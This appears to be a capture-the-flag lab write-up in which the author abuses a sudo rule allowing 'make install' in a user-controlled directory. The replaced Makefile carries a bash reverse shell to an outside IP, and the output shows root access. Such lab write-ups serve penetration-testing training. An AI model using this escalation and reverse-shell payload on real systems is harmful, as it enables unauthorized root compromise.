SPX_Privilege_Escalation

sudo make

---

The profiler user has sudo privileges to execute the /usr/bin/make install -C /home/profiler/php-spx command as anyone. Additionally, the /home/profiler/php-spx directory is under the user’s control.

profiler@spx:~/php-spx$ mv Makefile Makefile.bak

First I will change the name of the original file

profiler@spx:~/php-spx$ echo -e 'install:\n\tbash -c "bash -i >& /dev/tcp/192.168.45.197/1234 0>&1"' | tee ./Makefile
 
install:
	bash -c "bash -i >& /dev/tcp/192.168.45.197/1234 0>&1"

Since the command includes the install argument, payload must be under the install section

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/spx]
└─$ nnc 1234            
listening on [any] 1234 ...
connect to [192.168.45.197] from (UNKNOWN) [192.168.138.108] 49714
root@spx:/home/profiler/php-spx# whoami
root
root@spx:/home/profiler/php-spx# hostname
spx
root@spx:/home/profiler/php-spx# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:9e:f4:ea brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    inet 192.168.138.108/24 brd 192.168.138.255 scope global ens160
       valid_lft forever preferred_lft forever

System level compromise